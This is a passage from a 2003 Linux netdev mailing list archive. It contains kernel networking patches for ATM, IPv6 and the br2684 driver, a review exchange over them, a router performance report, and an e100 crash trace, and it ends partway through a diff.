--thanks [ATM]: remove unnecessary GFP_ATOMIC allocation (from levon@movementarian.org) diff -Naurp -X dontdiff linux-cvs/net/atm/resources.c linux-fixes/net/atm/resources.c --- linux-cvs/net/atm/resources.c 2003-07-09 14:19:52.000000000 +0100 +++ linux-fixes/net/atm/resources.c 2003-09-05 13:14:08.000000000 +0100 @@ -30,7 +30,7 @@ { struct atm_dev *dev; - dev = kmalloc(sizeof(*dev), GFP_ATOMIC); + dev = kmalloc(sizeof(*dev), GFP_KERNEL); if (!dev) return NULL; memset(dev, 0, sizeof(*dev)); From mgm@paktronix.com Fri Sep 5 07:00:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 07:01:02 -0700 (PDT) Received: from pakmon.pakuni.net (pak59.pakuni.net [65.103.169.59]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85E0Ix4005840 for ; Fri, 5 Sep 2003 07:00:27 -0700 Received: from netmonster.pakint.net (netmonster.pakint.net [192.168.3.13]) by pakmon.pakuni.net (8.12.9/8.12.9) with ESMTP id h85DxhE4010056; Fri, 5 Sep 2003 08:59:43 -0500 Date: Fri, 5 Sep 2003 09:08:58 -0500 (CDT) From: "Matthew G. Marsh" X-X-Sender: mgm@netmonster.pakint.net To: Stephen Hemminger cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH 2.5.72] Red Creek VPN update In-Reply-To: <20030617163116.1f7b6d78.shemminger@osdl.org> Message-ID: References: <20030617163116.1f7b6d78.shemminger@osdl.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5640 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mgm@paktronix.com Precedence: bulk X-list: netdev On Tue, 17 Jun 2003, Stephen Hemminger wrote: > Some cleanup's to Red Creek VPN driver. > - use alloc_etherdev instead of init_etherdev > - don't decrement module ref count negative in case of error. > > Don't have the hardware to actually test the real thing. But the driver builds > and loads fine. Hi - sorry for the late response - I have 57 of these in production. I am now trying to get together a 2.6test machine and this is one of the first parts I will test. How would you like bug reports? I will try to gen patches where possible but I don't have bk. Thank you for your work on this! -------------------------------------------------- Matthew G. Marsh, President Paktronix Systems LLC 1506 North 59th Street Omaha NE 68104 Phone: (402) 553-2288 Email: mgm@paktronix.com WWW: http://www.paktronix.com -------------------------------------------------- From vnuorval@tcs.hut.fi Fri Sep 5 07:22:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 07:23:04 -0700 (PDT) Received: from smtp-2.hut.fi (root@smtp-2.hut.fi [130.233.228.92]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85EMPx4010363 for ; Fri, 5 Sep 2003 07:22:26 -0700 Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by smtp-2.hut.fi (8.12.9/8.12.9) with ESMTP id h83Gvv5t003096; Wed, 3 Sep 2003 19:57:58 +0300 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 49B908000AE; Wed, 3 Sep 2003 19:57:57 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h83Gvv9s006555; Wed, 3 Sep 2003 19:57:57 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h83Gvueh006550; Wed, 3 Sep 2003 19:57:56 +0300 Date: Wed, 3 Sep 2003 19:57:56 +0300 (EEST) From: Ville Nuorvala To: Pekka Savola Cc: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= , , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-RAVMilter-Version: 8.4.3(snapshot 20030212) (smtp-2.hut.fi) X-DCC-HUTCC-Metrics: smtp-2.hut.fi 1165; Body=6 Fuz1=6 Fuz2=6 X-archive-position: 5641 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev On Wed, 3 Sep 2003, Pekka Savola wrote: > On Wed, 3 Sep 2003, Ville Nuorvala wrote: > > > > The other end of the tunnel might not yet be set up to receive the packet, > > which causes an ICMP error message to be sent back to the sender. > > > > Besides, RS and RA over a ipv6-in-ipv6 tunnel is a _bad_ idea. A default > > route through a tunnel without more advanced (policy/flow/srcaddr/? based) > > routing schemes can lead to local routing loops. > > Who are you to say it's a bad idea? Someone who has been tackling with the issue of default routes through tunnel interfaces in MIPL (our MIPv6 for Linux implementation) for quite some time now ;) > Users may have a lot of ideas, which some may think are bad but are OK. Well, I did already mention routing loops (and ICMP errors caused by IPv6 encapsulated RSs on a virtual link that isn't up yet). I think that qualifies as bad enough :( > There is nothing wrong with RS/RA over an IPv6-over-IPv6 tunnel. I'd > probably be concerned myself if it wasn't possible. Who says it isn't possible? The user who thinks he knows better can change the accept_ra (and rtr_solicits) flag for the tunnel dev and start receiving RAs through it. > _However_, that doesn't make sense unless you have a more specific route > to the destination IPv6 tunnel endpoint. Yes, exactly. And what should the node do if it just has two default routes, one through a tunnel and one through an ethernet interface? This will be the case if a normal host receives RAs through both interfaces. At least two things can go wrong: 1) A packet intended to the tunnel is sent straight through the ethernet device 2) A packet already encapsulated by the tunnel is rerouted through it and is thus dropped Based on my own experiences, I can say things like this do happen. > At the moment, I don't know who'd like to get a default IPv6 route over an > IPv6 tunnel, though.. IPv6 VPN users? MIPv6 users who restrict themselves > to bidirectional tunneling through the home agent, maybe? In MIPL, the MN uses a "default" ::/0 route through the IPv6 tunnel, but it is only used for packets using the MN's home address as source. All other traffic (including packets already encapsulated by the IPv6 tunnel, thus having the care-of address as source) is routed normally through the physical device. Things like this aren't possible in the current IPv6 routing code, so I had to modify the route lookup so it first checks the source address of the packet, then the destination. I sent a patch for this source address based routing, but it didn't make it into the kernel, partly because the USAGI team has plans to introduce IPv6 policy routing, which should also fix the problems. -Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From davem@pizda.ninka.net Fri Sep 5 07:42:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 07:42:40 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Eg6x4013492 for ; Fri, 5 Sep 2003 07:42:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id HAA23341; Fri, 5 Sep 2003 07:31:14 -0700 Date: Fri, 5 Sep 2003 07:31:14 -0700 From: "David S. Miller" To: Ville Nuorvala Cc: pekkas@netcore.fi, yoshfuji@linux-ipv6.org, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels Message-Id: <20030905073114.7a9a19e1.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5642 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 19:57:56 +0300 (EEST) Ville Nuorvala wrote: > In MIPL, the MN uses a "default" ::/0 route through the IPv6 tunnel, but > it is only used for packets using the MN's home address as source. All > other traffic (including packets already encapsulated by the IPv6 tunnel, > thus having the care-of address as source) is routed normally through the > physical device. > > Things like this aren't possible in the current IPv6 routing code, so I > had to modify the route lookup so it first checks the source address of > the packet, then the destination. > > I sent a patch for this source address based routing, but it didn't make > it into the kernel, partly because the USAGI team has plans to introduce > IPv6 policy routing, which should also fix the problems. Well, it was rejected for another reason :-) Doing route selection in the way you propose is completely backwards. Routing engine is asked only where one would like to go, and in response we are told how to get there and who to advertise ourselves as (ie. source address selection). That is, source address selection is a product of the routing lookup not an input. The whole engine works this way. When TCP connects, unless user has specified a specific source address when bind()'ing the socket, we take source address from the route. Source address selection is routing task. I do not see what it is about MIPV6 which changes this. So you either have to show me this thing, or accept what I say :-) From akpm@osdl.org Fri Sep 5 09:05:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 09:06:12 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85G5ax4023760 for ; Fri, 5 Sep 2003 09:05:37 -0700 Received: from dhcp-140-201.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h85G5Uo15587; Fri, 5 Sep 2003 09:05:30 -0700 Date: Fri, 5 Sep 2003 08:48:25 -0700 From: Andrew Morton To: netdev@oss.sgi.com Cc: Brendan Keessen Subject: Fw: ksoftirqd causing severe network performance problems Message-Id: <20030905084825.4b60169f.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5643 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Fri, 5 Sep 2003 12:57:18 +0200 From: Brendan Keessen To: linux-kernel@vger.kernel.org Subject: ksoftirqd causing severe network performance problems Hi, More than a week ago we replaced our old linux core routers (in a failover setup), with a new one. The old used 2 100 mbit NICs and worked very well, however we needed more than a 100 mbit throughput, so we replaced the setup with an almost identical setup based on two new servers with 2 1g NICs. At peek time it processes about 70 Mbits/sec of traffic and we use vlan's and use iptables, firewalling and DNAT of almost all the connections, the same as in the old setup. At the end of last week, the new setup had network problems and what we saw on the linux router was that the kernel threads ksoftirqd_CPU1 and ksoftirqd_CPU0 were using almost 100% of system time and the network throughput collapsed. This happens every day once or twice but the first one seems reasonably predictable and happens when the network traffic raises from a constant throughput from 3 Mbit/sec to 46 Mbit/sec in 3 hours. At a rough 40 Mbit/sec the problem occures and a failover to the slave router solves the problem. On the faulty server (previously master) the 100% CPU usage drops to almost 100% idle. When the backup is working fine, we can't use the faulty server anymore for routing/firewalling because failing back to it again results in an instant 100% system time again. Rebooting the system helps. Because the router was a new server (Dell 2650/Dual Xeon) and it had a new network card (Gigabit Broadcom 5703, which we never used before in our servers) we thought that maybe the driver for the card was causing the problem. After switching drivers and switching between kernel versions (2.4.21/2.4.22/ 2.4.18(which ran perfectly on our old router))we eventually choose to replace the server with a dell 1650 which has 2 gigabit e1000 interfaces. Different kernels and e1000 drivers resulted in the same problem again. Now we are running 2.4.18 with the 4.3.2 e1000 driver. I know we don't use the newest kernel and newest driver but this doesn't seem to cause the problem because we tested with other network cards, drivers and kernel versions. The same problem still exists on the new server with totally different network cards. In the kernel logfiles we don't see any messages at all which are related to the problem. Here is some info which tells something about the server when the network performance collapses and ksoftirqd_CPU0/ksoftirqd_CPU1 are using 99% system time: routing cache (no. entries): $ ip r ls cache | grep from | wc -l 69323 $ cat /proc/sys/net/ipv4/route/max_size 131072 $ cat /proc/sys/net/ipv4/route/gc_thresh 8192 We thought maybe for some reasom the routing cache is thrashing so we experimented with changing the max_size to 4 times the current value and raising the gc_thresh to 80% of that value and gc_elasticity to 32. But that didn't help and the same problem occured again. info on ip conntrack (no. entries): $ cat /proc/net/ip_conntrack | wc -l 126804 The ip_conntrack module is loaded with the hashsize parameter: ip_conntrack hashsize=2097152 To give you more input I turned on profiling. Read and clear profiling info every 60 second. The kernel functions which use the most clockticks (top 10) during the problem are: 31 handle_IRQ_event 0.2500 32 add_timer 0.1311 34 net_rx_action 0.0467 35 __kfree_skb 0.1136 35 batch_entropy_store 0.1944 40 dev_queue_xmit 0.0535 50 ip_route_input 0.1238 676 __write_lock_failed 21.1250 2928 __read_lock_failed 146.4000 3620 default_idle 69.6154 A few minutes before the problem occured (normal state): 37 __kfree_skb 0.1201 49 net_rx_action 0.0673 50 dev_queue_xmit 0.0668 50 handle_IRQ_event 0.4032 54 ip_route_input 0.1337 56 schedule 0.0422 68 __write_lock_failed 2.1250 73 batch_entropy_store 0.4056 742 __read_lock_failed 37.1000 8893 default_idle 171.0192 I also monitored interrupts (/proc/interrupts) of eth0 and eth1 but the interrupts seem related with the throughput at that moment and no strange burst of interrupts occure: Before and during the problem occures the interrupts are about: eth0: 5000/s eth1: 4200/s Does anybody know why we have this problem and how to solve it. Or could you maybe tell me what more info is needed and how I can get it, to resolve the problem. Thanks, Brendan Keessen - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From romieu@fr.zoreil.com Fri Sep 5 09:38:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 09:39:01 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85GcQx4026511 for ; Fri, 5 Sep 2003 09:38:27 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h85GbOxA008884; Fri, 5 Sep 2003 18:37:24 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h85GbO16008883; Fri, 5 Sep 2003 18:37:24 +0200 Date: Fri, 5 Sep 2003 18:37:24 +0200 From: Francois Romieu To: "Matthew G. Marsh" Cc: Stephen Hemminger , Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH 2.5.72] Red Creek VPN update Message-ID: <20030905183724.A8467@electric-eye.fr.zoreil.com> References: <20030617163116.1f7b6d78.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from mgm@paktronix.com on Fri, Sep 05, 2003 at 09:08:58AM -0500 X-archive-position: 5644 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Matthew G. Marsh : [...] > Hi - sorry for the late response - I have 57 of these in production. I am > now trying to get together a 2.6test machine and this is one of the first > parts I will test. > > How would you like bug reports? I will try to gen patches where possible > but I don't have bk. You will find an history of the changes applied during the 2.5 serie at: http://linux.bkbits.net:8080/linux-2.5/related/drivers/net/rcpci45.c?nav=index.html|src/.|src/drivers|src/drivers/net If something goes wrong, the latest changes are not necessarily the most suspect. -- Ueimor From moz@compsoc.man.ac.uk Fri Sep 5 10:12:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 10:13:00 -0700 (PDT) Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85HCNx4029040 for ; Fri, 5 Sep 2003 10:12:24 -0700 Received: from compsoc.umu.man.ac.uk ([130.88.22.5] helo=mrtall.compsoc.man.ac.uk ident=exim) by serenity.mcc.ac.uk with esmtp (Exim 4.20) id 19vK8F-0009jn-7L; Fri, 05 Sep 2003 18:12:23 +0100 Received: from moz by mrtall.compsoc.man.ac.uk with local (Exim 3.33 #1) id 19vK8F-0009tn-00; Fri, 05 Sep 2003 18:12:23 +0100 Date: Fri, 5 Sep 2003 18:12:23 +0100 From: John Levon To: linux-atm-general@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] ATM - kill __free_atm_dev() Message-ID: <20030905171223.GA37920@compsoc.man.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i X-Url: http://www.movementarian.org/ X-Record: King of Woolworths - L'Illustration Musicale X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19vK8F-0009jn-7L*KwvBFeTRyOY* X-archive-position: 5645 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: levon@movementarian.org Precedence: bulk X-list: netdev Apply the "Levonov abstraction penalty" - the wrapping of kfree() is pure obfuscation. regards john diff -Naurp -X dontdiff linux-cvs/net/atm/resources.c linux-fixes/net/atm/resources.c --- linux-cvs/net/atm/resources.c 2003-06-23 23:08:56.000000000 +0100 +++ linux-fixes/net/atm/resources.c 2003-09-05 18:35:02.000000000 +0100 @@ -42,11 +42,6 @@ static struct atm_dev *__alloc_atm_dev(c return dev; } -static void __free_atm_dev(struct atm_dev *dev) -{ - kfree(dev); -} - static struct atm_dev *__atm_dev_lookup(int number) { struct atm_dev *dev; @@ -88,7 +83,7 @@ struct atm_dev *atm_dev_register(const c if ((inuse = __atm_dev_lookup(number))) { atm_dev_put(inuse); spin_unlock(&atm_dev_lock); - __free_atm_dev(dev); + kfree(dev); return NULL; } dev->number = number; @@ -119,7 +114,7 @@ struct atm_dev *atm_dev_register(const c spin_lock(&atm_dev_lock); list_del(&dev->dev_list); spin_unlock(&atm_dev_lock); - __free_atm_dev(dev); + kfree(dev); return NULL; } } @@ -154,7 +149,7 @@ void atm_dev_deregister(struct atm_dev * } } - __free_atm_dev(dev); + kfree(dev); } void shutdown_atm_dev(struct atm_dev *dev) From chas@cmf.nrl.navy.mil Fri Sep 5 11:14:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 11:14:59 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85IEsx4000793 for ; Fri, 5 Sep 2003 11:14:55 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h85IEiSa011949; Fri, 5 Sep 2003 14:14:44 -0400 (EDT) Message-Id: <200309051814.h85IEiSa011949@ginger.cmf.nrl.navy.mil> To: John Levon cc: netdev@oss.sgi.com, shemminger@osdl.org, linux-atm-general@lists.sourceforge.net Subject: Re: [Linux-ATM-General] [PATCH] ATM - fix seqfile compile failure In-Reply-To: Message from John Levon of "Fri, 05 Sep 2003 18:51:13 BST." <20030905175113.GA40730@compsoc.man.ac.uk> Date: Fri, 05 Sep 2003 14:14:45 -0400 From: chas williams X-Spam-Score: (*) hits=1.7 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5646 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev >The recent conversion to seq_file breaks CONFIG_ATM_BR2684_IPFILTER >compile. i sent in a patch for this already. i did a bit of testing. >I have absolutely no idea what the original author was attempting to >achieve with the "pos" thing, btw ... *shrug* the "pos" stuff was used by the old proc interface. From shemminger@osdl.org Fri Sep 5 11:25:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 11:25:56 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85IPNx4002269 for ; Fri, 5 Sep 2003 11:25:24 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h85IP1o15682; Fri, 5 Sep 2003 11:25:01 -0700 Date: Fri, 5 Sep 2003 11:24:46 -0700 From: Stephen Hemminger To: Scott Feldman , Jeff Garzik Cc: netdev@oss.sgi.com Subject: Crash with e100 and ethtool on 2.6.0-test4 latest Message-Id: <20030905112446.00ba4e32.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5647 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev # ethtool -K eth0 rx off Unable to handle kernel paging request at virtual address f8875000 printing eip: f8874fff *pde = 0389e067 *pte = 00000000 Oops: 0000 [#1] CPU: 7 EIP: 0060:[] Not tainted EFLAGS: 00010282 EIP is at 0xf8874fff eax: f68243a0 ebx: f68243a0 ecx: f6824184 edx: 00000000 esi: 00000000 edi: 00000000 ebp: f5fefda8 esp: f5fefd90 ds: 007b es: 007b ss: 0068 Process ethtool (pid: 1815, threadinfo=f5fee000 task=f6820d00) Stack: f885f6b9 f68243a0 f885f2ea f68243a0 f6824184 f68242a8 f5fefed4 f8861f9e f68243a0 bffff020 00000008 f68243a0 c0328800 c0328b80 00000015 00000000 c0142acf c35dc5a8 00000000 f5fefe08 c014e6f3 00000286 00000246 00000000 Call Trace: [] e100_hw_init+0x14/0x106 [e100] [] e100_close+0x67/0x7a [e100] [] e100_do_ethtool_ioctl+0x533/0x88a [e100] [] buffered_rmqueue+0xc0/0x193 [] zap_pte_range+0x71/0x208 [] __alloc_pages+0x8a/0x324 [] find_get_page+0x37/0x94 [] filemap_nopage+0x239/0x315 [] pte_chain_alloc+0x64/0x67 [] do_no_page+0x1f5/0x410 [] pte_alloc_map+0xd9/0x12e [] dev_ethtool+0x95/0x2f9 [] rtnl_lock+0x22/0x38 [] dev_ioctl+0x1a0/0x34f [] inet_ioctl+0x102/0x112 [] sock_ioctl+0x154/0x34a [] sys_socketcall+0xb7/0x29a [] sys_ioctl+0x147/0x305 [] sys_munmap+0x58/0x77 [] sysenter_past_esp+0x52/0x71 Code: 00 Bad EIP value. Segmentation fault From krkumar@us.ibm.com Fri Sep 5 11:27:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 11:27:48 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85IREx4002654 for ; Fri, 5 Sep 2003 11:27:15 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h85IQIhu318378; Fri, 5 Sep 2003 14:26:18 -0400 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h85IQGsF107988; Fri, 5 Sep 2003 12:26:16 -0600 Message-ID: <3F58D567.2050201@us.ibm.com> Date: Fri, 05 Sep 2003 11:26:47 -0700 From: Krishna Kumar Organization: IBM User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, Krishna Kumar Subject: Re: O/M flags against 2.6.0-test1 References: <20030730220223.4c25fcfe.davem@redhat.com> <20030804165746.133f370a.davem@redhat.com> In-Reply-To: <20030804165746.133f370a.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5648 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, > Krishna is away, but let us make more progress on this patch. I have just got back and I didn't see any follow up on this. I also found that it is not yet in the 2.6.0-test4 kernel, so would like to find out what needs to be done to get it included. To answer your comments : > Ok, how does this actually work? The code does RTA_PUT(...IFLA_INET6_*...) > but IFLA_PROTINFO is not actually used anywhere. This cannot work, it makes > these RTA attributes just look like whatever IFLA_* ones have the > same values as the inet6 ones in this enumeration. The inet6_fill_ifinfo adds a IFLA_PROTINFO msg to the skb and then adds the sub-attribute like IFLA_INET6_FLAGS, IFLA_INET6_CONF, sets the length of sub-attr, etc. Code snippet : subattr = (struct rtattr*)skb->tail; RTA_PUT(skb, IFLA_PROTINFO, 0, NULL); /* return the device flags */ RTA_PUT(skb, IFLA_INET6_FLAGS, sizeof(__u32), &idev->if_flags); > > + /* return the device sysctl params */ > > + if ((array = kmalloc(DEVCONF_MAX * sizeof(*array), GFP_KERNEL)) == NULL) > > + goto rtattr_failure; > > + ipv6_store_devconf(&idev->cnf, array); > > + RTA_PUT(skb, IFLA_INET6_CONF, DEVCONF_MAX * sizeof(*array), array); > This is what I'm talking about. Maybe there is something I'm missing. > How does APP know to interpret IFLA_INET6_CONF as "sub-attribute" > of IFLA_PROTINFO? I think this is answered above. Please correct me if I have missed something. > Also, missing "memset(array, 0, sizeof(*array));" else we leak > uninitialized kernel memory into user space. Is that needed since the array allocated is exactly DEVCONF_MAX sized and the ipv6_store_devconf writes exactly DEVCONF_MAX entries and the rta_len is marked accordinging to finish at the end of the array. But I can still add it for clarity... > Another bug, GFP_KERNEL memory allocation with dev_base_lock held. Yes, that should be changed to GFP_ATOMIC. > Otherwise I am OK with the patch. OK, should I fix these two bugs and re-submit against test4 kernel ? Dave, I would like to get the prefix list and O/M flags information included in 2.4 kernel too, are you OK with that ? Thanks, - KK From chas@cmf.nrl.navy.mil Fri Sep 5 11:33:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 11:33:12 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85IX6x4003268 for ; Fri, 5 Sep 2003 11:33:07 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h84GaoSa017129; Thu, 4 Sep 2003 12:36:50 -0400 (EDT) Message-Id: <200309041636.h84GaoSa017129@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: Stephen Hemminger , netdev@oss.sgi.com Subject: Re: [RFT] covert br2684 to seq_file In-Reply-To: Message from Stephen Hemminger of "Tue, 02 Sep 2003 10:43:08 PDT." <20030902104308.08ce3fa4.shemminger@osdl.org> Date: Thu, 04 Sep 2003 12:36:51 -0400 From: chas williams X-Spam-Score: () hits=-0.3 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5649 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev dave, please apply to 2.6 -- thanks [i made a few minor changes, like alignment and missing #ifdef for remove_proc_entry during __exit] In message <20030902104308.08ce3fa4.shemminger@osdl.org>,Stephen Hemminger writ es: >Convert the /proc/net/atm/br2684 to seq_file interface. >It builds and runs, but without any real atm hardware the table >is empty... # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1418 -> 1.1419 # net/atm/br2684.c 1.9 -> 1.10 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1419 # convert the /proc/net/atm/br2684 to seq_file interface (from shemminger@osdl.org) # -------------------------------------------- # diff -Nru a/net/atm/br2684.c b/net/atm/br2684.c --- a/net/atm/br2684.c Thu Sep 4 12:32:14 2003 +++ b/net/atm/br2684.c Thu Sep 4 12:32:14 2003 @@ -18,6 +18,7 @@ #include #include #include +#include #include @@ -666,31 +667,57 @@ return -ENOIOCTLCMD; } -/* Never put more than 256 bytes in at once */ -static int br2684_proc_engine(loff_t pos, char *buf) +#ifdef CONFIG_PROC_FS +static void *br2684_seq_start(struct seq_file *seq, loff_t *pos) { - struct list_head *lhd, *lhc; - struct net_device *net_dev; - struct br2684_dev *brdev; - struct br2684_vcc *brvcc; - list_for_each(lhd, &br2684_devs) { - net_dev = list_entry_brdev(lhd); - brdev = BRPRIV(net_dev); - if (pos-- == 0) - return sprintf(buf, "dev %.16s: num=%d, mac=%02X:%02X:" - "%02X:%02X:%02X:%02X (%s)\n", net_dev->name, - brdev->number, - net_dev->dev_addr[0], - net_dev->dev_addr[1], - net_dev->dev_addr[2], - net_dev->dev_addr[3], - net_dev->dev_addr[4], - net_dev->dev_addr[5], - brdev->mac_was_set ? "set" : "auto"); - list_for_each(lhc, &brdev->brvccs) { - brvcc = list_entry_brvcc(lhc); - if (pos-- == 0) - 